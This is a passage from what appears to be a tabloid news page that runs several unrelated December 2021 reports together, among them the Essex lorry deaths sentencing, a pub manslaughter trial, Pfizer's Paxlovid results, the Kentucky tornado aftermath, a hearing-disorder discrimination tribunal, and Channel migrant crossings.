15-year-old twins - piled up in the trailer. Most had partially undressed in order to keep cool as the temperature climbed, before collapsing on the floor. Police arrested Robinson at the scene and launched an investigation, as other members of the gang tried to cover their tracks. Nica and two other gang members, Marius Draghici and Valentin Calota, fled the UK for Romania where they were later arrested. Kennedy was arrested in November as he drove a truck on the M40, while Hughes and Harrison are extradited from Ireland the following June. In October, all were hauled before the Old Bailey in London on charges ranging from manslaughter to criminal conspiracy. In January this year, all were sentenced for their crimes. The victims included 31 men and eight women, ten of whom were teenagers and the youngest of whom were 15-year-old twins The migrants suffocated to death in the container on the back of this lorry in 38.5C temperatures as they crossed the Channel from Belgium to Essex Realising their gruesome fate, at least one migrant had tried to batter their way out of the lorry with a metal pole (damage pictured) while others sent heartbreaking messages to families The court heard that Harrison, 23, and Robinson, 26 - together with Nica, 43 - were paid by Ronan Hughes, 40, to ferry non-EU citizens into the UK. Hughes headed the million-pound people-smuggling ring which used death trap lorries on multiple occasions - charging his human cargo up to 14,000 a head for a 'VIP' service. Hughes was jailed for 20 years, while fixer Nica - who arranged transport from Essex to London for the foreign nationals - was sentenced to 27. Robinson was handed a 13-year and four-month sentence, while Harrison - who dropped off the trailer in Zeebrugge - was jailed for 18 years. Hong is facing up to 15 years in jail if found guilty of manslaughter in Belgium. He admits running the safe house but denies being the ringleader of the gang, and says he had no idea the people staying with him were being smuggled. The trial is expected to last two days, but it could be weeks before a verdict. The accused were previously in court in October, when they entered their pleas. Seven men - including Harrison and Robinson - have already been jailed in the UK for their part in the operation. Ronan Hughes and Gheorghe Nica, who were found guilty of orchestrating the smuggling operation, were sentenced to 20 years and 27 years respectively. Harrison was given 18 years and Robinson was given 13 years. Three others - Christopher Kennedy, Valentin Calota and Alexandru-Ovidiu Hanga - were given between three years and seven years. Another investigation in Vietnam established that most of the migrants had come from a poor central region of the country, and had been lured into making the dangerous journey by local fixers assuring them of a better life overseas. The victims had stumped up around 10,000 each for the trip, with their families mostly borrowing the money on the promise to pay it back once their relatives reached the UK, began working and sent cash home to them. Four men aged between 26 and 36 were eventually found guilty of brokering illegal migration in Vietnam, and jailed for between two and a half years and seven years. Seven men have been jailed in the UK over the deaths, including Ronan Hughes (left) who was jailed for 20 years and Maurice Robinson (right) who was sentenced to 13 years Fixer Gheorghe Nica, 43 (left), was sentenced to 27 years while driver Eamonn Harrison (right) was jailed for 18 years A boxer killed an innocent young man with a single punch resulting in him being 'brain dead before he hit the ground' in an 'unprovoked pub attack'. Brandon Sillence, 25, used his fists to deliver the fatal blow to unsuspecting Dean Skillin, 20, during a night out that made his 'skull rotate rapidly on his spine leaving him brain dead before he hit floor'. Sillence had been drinking at The Waverley pub in Bangor, North Wales, when he launched the attack 'without provocation'. A jury heard he hit Skillin and his cousin Taylor Lock after approaching them in the pub - and left him for dead. Sillence has admitted to manslaughter over the death of Skillin on September 19 last year, but has denied murder. He told a Caernarfon Crown Court jury that he wanted to stop potential trouble outside a pub and punched Lock and his cousin Skillin, but did not intend to cause serious harm or kill them. Brandon Sillence, 25, (pictured) killed an innocent young man with a single punch resulting in him being 'brain dead before he hit the ground' in an 'unprovoked pub attack' A post mortem revealed the blow had caused Dean Skillin's, 20, (pictured) skull to rotate 'rapidly and violently' on the top of the spine Sillence had been drinking at The Waverley pub in Bangor, North Wales, (pictured) when he launched the fatal attack 'without provocation' Sillence told police: 'I just literally jabbed. I have gone 'boom, boom'. I just wanted them to f*** off. I was looking forward to going home to my bird, mate.' The court heard Sillence had approached the pair before punching them both in quick succession. Sillence was arrested - and told police he was protecting a friend. He told Detective Constable Lee Harshey-Jones: 'Two lads were ready to go for my mate, so I slapped them both. 'It was just a warning. I wasn't aggressive. I have not tried to hurt anybody. 'I've hit two people. I punched then both to warn them....to back off. One fell down, the other one just stumbled. But Sillence, who had been interviewed at Caernarfon Police Station, insisted he had not intended to kill anyone. He said: 'I am not a bionic man. I have just moved my hand forward. I did not intend anyone to die.' Prosecutor John Philpotts said Skillin was brain dead before he hit the floor. He said: 'The punch struck Dean Skillin and fractured the vertebrae, damaging the vertebral artery with the bleeding compromising Dean Skillin's brain stem and resulting in him being brain dead before he hit the ground.' Dean's cousin Mr Lock said he felt a blow to the left side of his jaw before he regained his senses and saw his relative unconscious on the floor. He said: 'A man was looking at me very aggressively. He said: 'You think you're big boys'. ' The jury heard Sillence told police he may have 'super-strength' but that he was not a trained boxer. He said he lost the only fight he ever fought - a charity bout in a Liverpool nightclub in aid of people with autism - and cried when he found out he had caused Skillin's death. Prosecutor John Philpotts showed the jury video clips of Sillence punching balls, exercising with tyres and sparring with someone with pads on their hands in 2018. There was also a clip of Sillence shadow boxing at home during the lockdown of 2020. Mr Philpotts took Sillence, in the witness box, back to when detectives told him Mr Skillin had died. He said Sillence had told police: 'I must have super-strength.' Mr Philpotts said: 'You must have super-strength or you may be a trained boxer?' Sillence denied ever being trained and said: 'Shadow boxing where you hit the air? If I was hitting boxers, I would understand, but I was hitting fresh air.' The court also heard Adrian Roberts was talking to Mr Lock outside The Waverley Hotel about dogs in their neighbourhood. A jury heard Sillence (right) hit Dean (left) and his cousin Taylor Lock after approaching them in the pub - and left him for dead Sillence intervened and punched Mr Lock and Mr Skillin. He said he was being 'protective not aggressive'. But he admitted being 'childish' outside The Waverley, after the court heard he had called one officer a 'p****', said he knew his face and pretended to vomit. Today, Sillence, dressed in a white shirt, cream tie and black trousers, told his defence barrister Andrew O'Byrne QC: 'I just thought my mate was getting jumped. I threw two normal punches. 'When you throw a hard punch, you put your body through it. I did not do that. 'I just gave them warning shots. I understand I'm responsible for the death of Dean but I never went out that night to cause anyone serious harm.' He said he cried on hearing Mr Skillin had died 'because I never intended any of this'. Mr O'Byrne asked him: 'Did you intend to kill or seriously harm Mr Skillin?' Sillence said: 'No, never. I have a child and I took one from someone.' The defendant, who said he has ADHD, added: 'Usually my normal behaviour was to be bouncy - Jack in the Box, Tigger. But I was calm and in control of the situation [that night].' The court heard he was later breathalysed and found to have 20 microgrammes of alcohol in 100 millilitres of breath. The legal limit for driving is 35 microgrammes. Caernarfon Crown Court heard a nearby police officer heard an 'an awful, hollow thud' as up to 40 people were leaving the pub. Paramedics rushed Dean to hospital where a CT showed a fractured skull and bleeding on the brain. He died the following morning. A post mortem revealed the blow had caused Dean's skull to rotate 'rapidly and violently' on the top of the spine. The court heard the violence erupted outside the pub in September last year after Sillence had been acting 'aggressively.' Sillence, of Bangor, admits manslaughter but denies murder. The trial continues. Britain should speed up the approval of Pfizer's at-home Covid pill, experts claimed today amid hopes it should still work against Omicron. The pharmaceutical giant yesterday unveiled 'stunning' final results of its anti-viral drug Paxlovid. It was found to cut the risk of vulnerable adults being hospitalised or dying by up to 90 per cent. And laboratory tests suggested the twice-a-day pill offered a 'robust' response to the ultra-transmissible variant. Britain has already ordered 250,000 courses of the drug. Watchdogs are currently assessing its safety and efficacy with a decision expected in the coming weeks. The NHS isn't expecting stocks of Paxlovid to dish out to thousands of people with underlying health conditions until January at the least. But experts have called for the process to be fast-tracked, based on findings from Pfizer's trial of 2,200 at-risk adults. Professor Ian Jones, a virologist at Reading University, told MailOnline speeding up the approval will 'directly reduce hospital crowding and ultimately save lives'. It comes after the UK yesterday recorded its highest daily number of infections in almost a year, with 59,610 positive tests. Sequencing of positive samples revealed another 633 infections were triggered by Omicron but health chiefs estimate 200,000 people caught the strain on Monday alone. Despite turbo-charging the booster campaign to limit the impact of the incoming wave, Covid antivirals are only being used in trials and given to 10,000 vulnerable Britons as part of a national study. The Medicines and Healthcare Products Regulatory Agency has already approved antiviral molnupiravir, sold by Merck and branded as Lagevrio. The drug firm this month revealed it was just 30 per cent effective at reducing the risk of hospitalisation and death among the vulnerable, lower than early estimates. Findings from Pfizer's trial of 2,200 adults showed those most at-risk from the virus who took Paxlovid within a few days of Covid symptoms were 89 per cent less likely to need hospital treatment or die. The graph shows that 0.7 per cent of patients who received the drug were hospitalised, compared to 6.5 per cent of of those who did not receive the pill being hospitalised or dying. No deaths were recorded among those who took Paxlovid Pfizer said that its Covid pill, called Paxlovid (pictured), is up to 89 per cent effective at preventing hospitalisations and deaths when taken within the first few days of Covid symptoms Paxlovid is a protease inhibitor, which works by inhibiting an enzyme the coronavirus uses to make copies of itself inside human cells. Protease inhibitors have been effective at treating other viral pathogens such as HIV and hepatitis C virus, both on their own and in combination with other antivirals, the company said. If approved, it would be given to patients at the first sign of Covid infection with the aim of reducing the risk of serious illness. HOW DOES PFIZER'S PILL WORK? What is it? Pfizer's drug is part of a class known as protease inhibitors. It is designed to block an enzyme the coronavirus needs in order to multiply. Like protease inhibitors used to treat HIV, it is given in combination with other antivirals. How effective is it? A recent trial of the pill in more than 2,200 adults found that it cut hospitalisation and death rates by 89 per cent in people at high risk of a severe illness from Covid. It also cut the risk of being admitted to hospital and dying by 70 per cent among healthy unvaccinated people and vaccinated adults with one or more underlying illnesses. It should be given as soon as possible after catching Covid, ideally within three to five days. How much has the UK ordered? 250,000 courses Advertisement Professor Jones said both the Pfizer and Merck antiviral medications 'are important new additions to the treatments available for Covid'. He said: 'Neither stops infection but they each limits the disease by stopping the virus growing. Less virus means less disease.' The pills must be given to infected people as soon as possible after catching the virus, 'which means in practice that they need to be prescribed immediately after a positive Covid test, particularly to vulnerable people', Professor Jones said. He added: 'Anything that can be done to speed up licensing and availability to ensure this is possible will therefore directly reduce hospital crowding and ultimately save lives.' Professor Paul Hunter, a public health expert at the University of East Anglia, told MailOnline Pfizer's data suggests Paxlovid 'will find a valuable role in reducing the severity of illness and keeping people out of hospital'. However, he said 'it probably would not be given to everyone but would be targeted at people most at risk of severe disease'. Professor Penny Ward, an expert in pharmaceutical medicine at Kings College London, said Pfizer's findings suggest Paxlovid 'could be helpful in a highly vaccinated population and reduce the strain of additional admissions within an overloaded health service'. Dr Stephen Griffin, a viral oncologist at the University of Leeds, told MailOnline Paxlovid should be swiftly approved and rolled out, but only to vulnerable adults and children and under clinical supervision. He said: 'The unacceptably high prevalence [of Covid] weve seen in this country since July poses a huge risk to clinically vulnerable individuals who may not be able to either respond well, or indeed receive vaccines.' These patients require a 'rescue therapy' if they catch Covid, Dr Griffin said. 'These precious medicines need to be preserved for those most in need and certainly must not be used to replace vaccines for the long term in any way, shape, or form,' he added. Pfizer trial of Paxlovid enroled 2,246 at-risk adults by November 4, half of whom were given the pill within five days of their first Covid symptoms as part of phase two and three trials, while the remaining group received a placebo pill. More than 40 per cent of participants were based in the US, while the rest were in Europe, Africa and Asia. They found the drug, which is taken orally every 12 hours for five days, significantly reduced the risk of hospitalisation or death by 89 per cent when taken within three days of symptoms, compared to the placebo group. Omicron-hotspot London is seeing Covid cases rise quicker now than since very first wave Cases in London are rising faster than at any point since the first wave, according to Professor Tim Spector, who runs the UK's largest coronavirus symptom-tracking study. He claimed the capitals outbreak was really accelerating, after it emerged that the super-mutant variant has already become dominant despite only being spotted a fortnight ago. Professor Spector also warned that his teams data which is given to ministers suggests anyone battling a cold in London probably has Covid, saying the illness now causes a headache, sore throat and runny nose for the vast majority who get infected. His comments came as other scientists advising the Government ramped up the pressure for ministers to impose tighter Covid curbs. Dr Jenny Harries, head of the UK Health Security Agency which replaced the now-defunct Public Health England warned Omicron posed the 'biggest threat' yet and that the NHS was 'in peril'. SAGE modeller Professor Graham Medley said he feared the super-strain could trigger a 'very large' wave of hospitalisations because it is so transmissible, while jabs adviser Professor Adam Finn called for action to halt the 'alarming' spread of the virus. Advertisement And the drug still cut the risk of being hospitalised or dying by 88 per cent when it was taken five days after symptom onset. Five patients who took Paxlovid within the three-day window were hospitalised, compared to 44 among the placebo group. And no deaths were recorded among those who took its drug in this timeframe, compared to nine fatalities in the other group. Meanwhile, there were eight hospitalisations and no deaths among those who took the drug five days after their first Covid symptoms, compared to six hospitalisations and 12 deaths among the placebo group. And the drug was the most effective among older groups, slashing the risk of hospitalisation or death by 94 per cent among the over-65s. Pfizer also trialled the drug on 673 healthy unvaccinated adults, as well as vaccinated adults who had one or more risk factors, with the aim of alleviating all Covid symptoms for four days. The pill did not prevent participants from feeling unwell, but the chance of being hospitalised from the virus was 70 per cent lower among the group and no deaths were recorded. Paxlovid also slashed the viral load the amount of virus detected in an infected individuals nose or throat swab 10-fold compared to the amount of virus detected in those who didnt take the drug. And laboratory tests suggest the pill is expected to work against Omicron, because it doesn't target the virus's spike protein, which contains most of the new variant's mutations. Dr Bourla, Pfizers chair and chief executive officer, said the results provide further evidence that its pill could have a meaningful impact on the lives of many if it is approved in the fight against the virus. Emerging variants of concern, such as Omicron, have exacerbated the need for accessible treatment options for those who contract the virus and Pfizer is confident the pill could be a critical tool to help quell the pandemic, he said. Dr Bourla added: The data further supports the efficacy of Paxlovid in reducing hospitalisation and death and show a substantial decrease in viral load. This underscores the treatment candidates potential to save the lives of patients around the world. The company said it shared its data with the US Food and Drug Administration (FDA) as part of a rolling submission for emergency authorisation. The FDA is expected to soon rule on whether to authorise Pfizer's pill and a competing pill from Merck, which was submitted to regulators several weeks earlier and reduced hospitalisations and deaths by 30 per cent among at-risk adults. If granted, the pills would be the first Covid treatments that Americans could pickup at a pharmacy and take at home. This is the moving moment an accountant plays a beautiful hymn on his waterlogged grand piano in the the shell of his home after it was destroyed by a tornado. Jordan Baize, 34, sat down at the instrument where his living room used to be after the deadly storm knocked down the walls and roof, leaving him surrounded by wreckage in the somber scene in Bremen, Kentucky. Footage taken by his sister Whitney Brown, 32, shows Jordan sat at the piano playing the Christian hymn There's Something about that Name amid the destruction. Jordan Baize, 34, played a beautiful hymn on his waterlogged grand piano in the the shell of his home after it was destroyed by a tornado Whitney had visited to help her brother salvage whatever they could and was sifting through clothes when she heard the music playing after the tornado ripped through the city. Jordan, who has played piano for 25 years, did not know she was recording at the time and the video has since gone viral. He told the Wall Street Journal: 'I'm not the kind that loves to seek the spotlight, but I guess looking back now, I'm glad it happened. 'I'm glad that so many people were touched. It was a sincere, honest moment. If it brought peace and hope to many, that's a blessing.' The footage shows the extensive damage at the house with an exterior wall knocked down, shattered glass everywhere, sofas ripped up and exposed rafters. The footage shows the extensive damage at the house with an exterior wall knocked down, shattered glass everywhere, sofas ripped up and exposed rafters Footage taken by his sister Whitney Brown (pictured together), 32, shows Jordan sat at the piano playing the Christian hymn There's Something about that Name amid the destruction Jordan picked the hymn to play, knowing it could have been his last time at the piano, because he said: 'My little 13-acre kingdom had been destroyed. But still at the center of it all, Christ is steady and constant.' Whitney, who co-owns a sawmill with her husband, said: 'I have been overwhelmed by the love my family has been shown today. We are all safe, thank God. 'My brother, Jordan, has lost his home but thankfully he and his family made it out safely. 'I was standing in his bedroom packing anything I could salvage and I heard the most beautiful sound. 'Everything around him was broken. 'The piano had water damage, it had missing keys, and he didn't know I was filming, but still he used his gift to glorify his God the best way he knew how. Enjoy his God-given gift.' Jordan, who has played piano for 25 years, did not know she was recording at the time and the video has since gone viral Just days before the tornado struck, Whitney and Jordan had returned to Kentucky after visiting Disney World in Florida with their children and parents. On Friday, he invited his ex-wife and her husband to his house to shelter in his basement just moments before the tornado slammed into the property. They hid under a mattress while they heard the sound of devastation above them for 30 seconds. When they emerged, the house was in ruins. Jordan is now staying in the bedroom of his boyhood home nearby and is hoping to rebuild the 13-acre property which had been in his family for decades. But the piano's future is less certain as the water continues to take its toll on the instrument. It comes as President Biden flies to western Kentucky this morning to see for himself the devastation caused by dozens of tornadoes. On Wednesday morning, thousands of people remained without power, heat or water five days after more than 30 tornadoes ripped through four states. They killed at least 88 people in four states during a weekend of carnage, tearing down homes and ripping up power lines. Biden is due to visit Fort Campbell for a briefing on the storms and rescue efforts before traveling to Mayfield and Dawson Springs to survey storm damage. Although Biden is not expected to deliver an address, White House Press Secretary Jen Psaki said the president will meet victims of the deadly storms and local officials. More than 100 people are still missing and the death toll is expected to rise. But he still won claim because bosses believed he did suffer from them at time Medical report during proceedings found he did not actually have the conditions Agency wrongly assumed he would become 'violent' and withdrew their offer Matthew Jowett was given job offer and told bosses he suffers from conditions A job-seeker who said he suffered from a noise-sensitivity hearing disorder has won a disability discrimination claim against the Health and Safety Executive (HSE) after being turned down for a job over fears that it would make him 'violent'. Matthew Jowett was given a job offer as a trainee inspector at the agency and informed its bosses that he had hyperacusis - a hearing disorder sometimes known as being noise sensitive - heard an employment tribunal in Nottingham. In an email to principal inspector Clare Owen in January 2019, he said he also identifies with misophonia - an associated condition which can cause people to experience intense anger and disgust upon hearing sounds. Mr Jowett assured Ms Owen the condition 'does not typically result in me having any outwardly expressed anger' and there was no evidence he would become aggressive. However, Ms Owen and Kim McClelland wrongly assumed he would become 'violent' and withdrew his offer two days before he was due to start - a move which Judge Mark Butler said amounted to disability discrimination. Proceedings became complicated when it emerged Mr Jowett did not actually suffer from hyperacusis or misophonia, after expert audiologist Dr Hashir Aazh produced a medical report saying he was 'well below the threshold'. Mr Jowett accepted that he did not suffer from it and the tribunal concluded he was not disabled - yet he still won his disability discrimination claim because HSE bosses believed he was at the time. Matthew Jowett was given a job offer as a trainee inspector at the agency and informed its bosses that he had hyperacusis - a hearing disorder sometimes known as being noise sensitive - heard an employment tribunal in Nottingham (file photo) The tribunal heard how Mr Jowett, who now lives in France, didn't attend theatres or cinemas due to his perceived condition, saying that audiences are 'too noisy'. He also claimed background music at restaurants ruins eating out, saying he gets disturbed by slamming doors and washing machines beeping, and also complained about music played by an ice cream van. Mr Jowett, who used to live in Nottingham, said he had a diagnosis for hyperacusis as a teenager and outlined his noise sensitivities. He said: 'My hearing sensitivity is something many people will be able to identify with. Many people will find clicking pens or intrusive text alerts can affect their ability to "zone out" and concentrate on a task. 'In my case, this sensitivity is more acute, but it is not unmanageable. Certain noises can break my "code of concentration" when I am back in the office trying to write up reports or write letters. 'It affects what accommodation I can live in. It affects enjoying the cinema or theatre if the audience is too noisy, which in Britain I find they often are. The tribunal concluded Mr Jowett was not disabled - yet he still won his disability discrimination claim because HSE bosses believed he was at the time (file photo) What is hyperacusis and misophonia? Hyperacusis is when everyday sounds seem much louder than they should. Those that suffer from the condition may be affected by sounds such as jingling coins, barking dogs, a car engine, someone chewing and a vacuum cleaner. It can affect one of both hears, and come on suddenly or develop over time. Hyperacusis can be cured if it's caused by another condition, such as a migraine - without a clear cause, treatment such as sound therapy and cognitive behavioural therapy is offered. Misophonia, also known as Selective Sound Sensitivity, consists of a strong emotional response to certain sounds. There are three key emotional responses: anger (predominantly) disgust and anxiety. People with the condition are referred from childhood through to adulthood. Those who suffer from the condition are recommended to discuss concerns with their GP and may be given professional support. Source: NHS and British Tinnitus Association Advertisement 'It can affect my enjoyment of eating out, especially with piped muzak. I may ask a friend to turn the TV down if we are talking.' A tribunal report added: 'Mr Jowett also makes reference to a holiday he took for three weeks when he became exhausted from lack of sleep because there was a door outside his hotel room that slammed really loudly in the middle of the night every night. 'On visiting the National Theatre he says his experience was marred by teenagers eating crisps and playing with mobile phones as a result of which he resolved not to be a regular theatre goer. 'He says this is the reason he does not go to the cinema regularly but admitted in cross-examination that he does still go to the cinema and has attended rock concerts. 'He also records how in a couple of his lodgings in Nottingham he was disturbed by ongoing slamming doors from a neighbour and from other tenants. 'He also says he is affected by a friend's washing machine which makes a continual beeping noise when the cycle is complete and that his solution is to go and turn it off at this time. 'Finally, he refers to one of the local supermarkets in the French village where he lives which one day was playing two difference music channels in the store and he found this "a bit wearing" when he was trying to concentrate on his purchases.' Mr Jowett also said he couldn't concentrate at university 30 years ago because students banged on doors in halls. Judge Butler said: 'Ms Owen and Mc McClelland, neither of whom have any medical qualifications, made the assumption that he was unsuitable for the role because of a potential predisposition towards violence.' Judge Butler described the issue of him not actually suffering from hyperacusis or misophonia as 'confusing'. He said Mr Jowett was 'unwittingly the author of his own misfortune' by raising claims about his noise sensitivity to HSE. He will be awarded compensation at a later date. Other claims of discrimination and unfair dismissal were thrown out. Advertisement More than a quarter of Covid 'patients' currently occupying hospital beds are actually being treated for another condition, according to official data that has prompted calls for the NHS to change how it counts admissions in the face of Omicron. Health service statistics show there were 5,697 beds taken up by people who had tested positive for the virus on December 7, the latest date available. But 4,214 of them (74 per cent) were primarily being treated for the virus, with the remaining suffering from other illnesses or injuries. These could include a fall, broken leg, or even new mothers who tested positive after giving birth. And older people, who are more at risk from the virus, made up a smaller proportion of the patients in hospitals because of the success of the country's vaccination drive, figures also showed. Campaigners today called on the NHS to stop inflating Covid admissions by including patients who were initially brought in for something else such as an accident, saying they should 'obviously' be removed from the figures so that they can't be skewed upwards. Hospital numbers are a key metric weighed up by ministers to determine if tougher Covid curbs are needed, now that vaccines have taken most of the emphasis away from crude infection numbers. Grim SAGE modelling presented to the Government has already warned hospitalisations could hit levels not seen since the darkest depths of the second wave last January. NHS England's chief executive Amanda Pritchard today told MPs that early signs show the incoming Omicron wave could be 'bigger'. No10 has already caved in to demands for Plan B restrictions, which saw work from home guidance reintroduced, face masks reimposed and the tightening up of self-isolation rules for close contacts of Covid cases. Britain's daily Covid cases hit a record high after 78,610 people tested positive for the virus over the past 24 hours, the most ever in a single day. Hospitalisations rose seven per cent after 774 more admissions were reported. The above graph shows the number of Covid patients being treated in hospital (yellow line) and the proportion of these patients for whom their primary reason for admission was Covid (red line). It reveals a quarter of Covid patients are actually receiving treatment for something else, such as a fall The proportion of patients in hospitals has also shifted, with fewer 65 to 84-year-olds now being admitted for Covid after the vaccines were rolled out The Omicron Covid variant is now dominant in London, and is expected to make up the majority of cases in other regions over the coming days and weeks. Government advisers today upped the pressure on ministers to resort to Plan C, warning that the NHS is already in 'serious peril' and that there is a 'very real possibility' it will be overwhelmed next month. The contingency plan could see face masks made compulsory in pubs and restaurants in England, controversial vaccine passports extended to even more venues like cinemas and theatres, and social distancing back in indoor public places. SAGE member Professor Graham Medley, from the London School of Hygiene and Tropical Medicine, today said that if infections continue to increase rapidly then admission numbers could get 'very large' and rise over the 2,000 a day mark. This is about half the peak seen in January when it hit 4,000 a day. But projections presented by his team at the weekend showed the true toll could exceed that reached over the second wave. Scientists pile pressure on Government to bring in harsher curbs Scientists advising the Government today ramped up the pressure for ministers to impose even tighter Covid curbs. Dr Jenny Harries, head of the UK Health Security Agency, warned Omicron posed the 'biggest threat' yet. She told MPs: 'Trying to prevent ingress of any infections still remains a key point, particularly when we can foresee a very large wave of Omicron coming through and our health services potentially being in serious peril.' SAGE modeller Professor Graham Medley admitted he feared the super-strain could trigger a 'very large' wave of hospitalisations because it is so transmissible, while vaccine adviser Professor Adam Finn called for action to halt the 'alarming' spread of the virus. But after suffering a 100-strong backbench revolt over introducing Covid passes last night, there are now serious questions about whether the Prime Minister has the political strength to impose a tougher lockdown if he needs to. Omicron is already behind half of all new Covid cases in London, which has seen its infection rate spiral to the highest levels since January and prompted calls for regional action. One modelling study has found that cases in the capital are now rising faster than at any point since the first wave, prompting an expert to say that anyone battling a cold currently probably has Covid. Parts of London's West End have already effectively entered lockdown as theatre shows are suspended and pubs and restaurant suffer a wave of cancellations triggered by mounting fears over the variant sweeping the capital. Advertisement In reality, England is currently seeing 750 Covid admissions a day. But the delay between getting infected and becoming seriously ill means the full force of Omicron won't be felt until closer to the New Year. No10 has refused to put a firm figure on the threshold that would trigger the return of more restrictions, insisting instead that Plan B was enough to handle the current crisis. But critics say figures used for the standard Covid hospital numbers have become a less reliable way of gauging the outbreak and NHS pressure. Asked if the NHS figures should include Covid patients not primarily being treated for the disease, former World Health Organization adviser and healthcare expert Professor Karol Sikora said: 'They should remove them, that should be the obvious thing to do. 'If they are there because they had a road accident they should be removed.' 'Some patients do have a chest infection and sometimes you don't know whether it is Covid. '[But] if they test positive you may well have to list them as a Covid hospitalisation, even though the infection is caused by something else.' The NHS says patients classed as 'primarily non-Covid' could be suffering from an illness that is exacerbated because of the virus, or could be vulnerable and become seriously ill while in hospital. It only started to differentiate between the types of patients in hospital in June to get a better idea of the scale of the outbreak. It was instructed to do so by the then-newly-appointed Health Secretary Sajid Javid, who is much more of a 'hawk' than his predecessor Matt Hancock. Professor Sikora insisted figures showed the NHS is not under any more pressure than normal for this time of year, which some critics have argued. He pointed out that the proportion of the 91,000 NHS beds available for Covid patients is still below five per cent, and that hospitals would only face an issue when it rises above this figure. In October hospitals were told they could dump social distancing, adopt standard cleaning practices and no longer require patients coming in for surgery to undergo a three-day isolation first. Broken down by region, the Midlands has the highest proportion of so-called Covid patients in its hospitals being treated for a different condition. Official figures show 64.8 per cent of patients on its virus wards are actually in for another illness. It was followed by the North East (69.7 per cent) and the North West (71.1 per cent). On the other end of the scale London the current epicentre of the Omicron crisis had the highest proportion of patients being treated for Covid (83.9 per cent), followed by the South West (82.1 per cent) and the South East (76.8 per cent). Separate data shows 38.8 per cent of patients being treated in hospitals last month were 65 to 84 years old, down from 46.7 per cent the same time last year. Older Covid patients tend to suffer more serious disease, meaning the lower numbers now suggest fewer patients are seriously ill especially given the fact vaccination rates are highest in the elderly. Across England some 4.6 per cent of the country's 91,000 available hospital beds are occupied by patients primarily being treated for the virus. But experts say alarm bells should only start to ring when this rises above five per cent, but that the NHS should not be considered as in serious trouble until the proportion ticks up to 20 per cent. Hospitalisations are rising fastest in the country's Omicron epicentre London, up 32 per cent in a week from 110 to 145 daily admissions on average. But Department of Health figures show they are rising slightly across all regions. Professor Medley, an infectious diseases modeller and Government adviser, warned it was a 'very real possibility' that hospitals could end up being overwhelmed. He told BBC Radio 4's Today programme: 'If the numbers of infections increasing continues in the way that it has done, and it spills out into older age groups, then we could see numbers of people being admitted to hospital getting very large and certainly going over the 1,000, maybe up to 2,000 a day, that we've managed to keep the Delta variant below. 'It was sort of below 1,000 since July without any restrictions, but I think that is going to be very, very difficult or is very unlikely to happen.' Pressed on the possibility of the NHS being overwhelmed next month, the expert said: 'I think so, there is that possibility. 'It's very hard to be certain about these things. You certainly can't put a risk or probability on them, but that is one of one of the more likely things that could happen.' He also warned that hospitalisations could rise at a rate where the country ends up with the next four months of the pandemic taking place in just one. But he also admitted boosters would help to provide a wall of protection against the virus, and prevent many of the most vulnerable getting severely ill and ending up in hospital. A migrant was pictured flashing the V for victory sign as he was among a group of men detained by Border Force and delivered to UK shores after making the perilous crossing across the English Channel. The group of around 30 men were brought into the harbour at the Port of Dover in Kent this morning on board the Border Force vessel Hurricane - the first to make it UK waters in more than a week due to bad weather at sea. They were led up a gangway from the pontoon to the immigration processing facility Tug Haven. They are the first to make the crossing since December 5 due to bad weather conditions in the channel when 100 people were picked up by Border Force officers in three boats. So far this year, more than 26,000 migrants have reached Britain since the start of the year, compared with just 8,410 in the whole of 2020. Pictured: A group of around 30 men were brought into the harbour at the Port of Dover in Kent this morning on board the Border Force vessel Hurricane after making the perilous journey The migrants were the first group in more than a week to cross the channel due to bad weather And it comes three weeks since 27 people died trying to reach the UK across the 21-mile wide Dover Straits after their inflatable dinghy sank off Calais on November 24. It was the worse loss of life seen in the Channel since the migrant crisis began. French authorities have formally identified 26 of the 27 bodies recovered after the tragedy. A total of 16 Kurdish people from Iraq and four Afghans were among the victims, whose families are being informed. On Tuesday French officials revealed five people had to be rescued after their boat got into trouble off Calais. The French navy hydrographic vessel Laperouse was dispatched to rescue the group who were brought ashore at Calais where they are taken care of by border police. It comes three weeks after 27 people died trying to cross the channel when their dinghy sank A migrant who arrived onboard a Border Force rescue boat is escorted into Dover harbour for processing on Wednesday Meanwhile on December 10, a fishing vessel unfortunately discovered a body in its nets off Calais. The vessel immediately reported this discovery to French coastguard officers. The fishing vessel then made its way to the port of Calais so that the body could be taken care of by the Calais maritime gendarmerie. The prosecutor's office of Boulogne-sur-Mer opened an investigation which was entrusted to the maritime gendarmerie. So far this year 26,711 migrants have been detained after reaching the UK in small boats compared to 8,410 in 2020. Yesterday, the National Crime Agency warned that gangs are turning to ever more dangerous and rickety boats to sneak desperate refugees across to the UK. Officers said people smugglers are using custom-made inflatable dinghies with plywood floors and held together with gaffer taper to transport as many migrants across the Channel as possible. So far this year 26,711 migrants have been detained after reaching the UK in small boats compared to 8,410 in 2020 Migrants are escorted by Border Force staff, after having crossed the channel, at Dover harbour in Kent on Wednesday, December 15 Pictured: Inflatable boats believed to have been used by migrants that cross the channel The National Crime Agency has warned that inflatable dinghies are being custom made for people smuggling gangs to transport as many people across the Channel as possible. Pictured, migrants and a dinghy used to cross on the beach at Dungeness, on November 24 In recent months, larger inflatables, sometimes more than 30ft long, have been used in the cruel human trade. Investigators believe many of these large grey or black unbranded vessels have little or no commercial use and are being purposefully manufactured for people smugglers. Other boats are also being adapted or improvised using substandard materials in a bid to increase the amount of people they can carry and make them more solid. Martin Grace, head of organised immigration crime operations for the NCA, said: 'It is clear to us that with some of the boats being used there is little or no genuine commercial use for them. 'They are likely being manufactured and sold online for the sole purpose of being used for people smuggling, and this is now something we are focusing on.' What happens to migrants after they arrive in the UK? Migrants who have been picked up after landing or intercepted at sea are taken to a Border Force processing centre, usually near Dover Here arrivals are triaged to identify any medical needs or vulnerabilities, fed and checked to see if they have a criminal record. Adults have an initial interview before being sent to accommodation centre across Britain, paid for by UK taxpayers and provided by private contractors. The migrants are given 37.75 per week for essentials like food, clothes and toiletries while they wait for a decision on their asylum application. Kent County Council normally takes unaccompanied children into its care, although other local authorities are also involved in this programme. Other migrants might be kept in a detention centre ahead of a plan to send them back to Europe. However, just five were deported last year as ministers admitted to 'difficulties'. While a member of the EU, Britain was part of the Dublin Regulation, an EU-wide deal that required migrants to apply for asylum in the first member state they arrive in and could be deported back to that country if they moved on to another. However, since Brexit there has been no formal arrangements to allow migrants to be deported to France or another EU member country. Advertisement The NCA said a high percentage of attempted Channel crossings are still facilitated by organised criminal gangs - some operating a sophisticated network, while others are less established. In November, the NCA worked alongside French police as part of an operation to dismantle a gang supplying boats that could carry between 40 and 60 people. The group were also recruiting migrants from camps in northern France to travel in the dangerous vessels. In total 18 people were arrested in the Calais, Le Havre and Paris regions of France, the 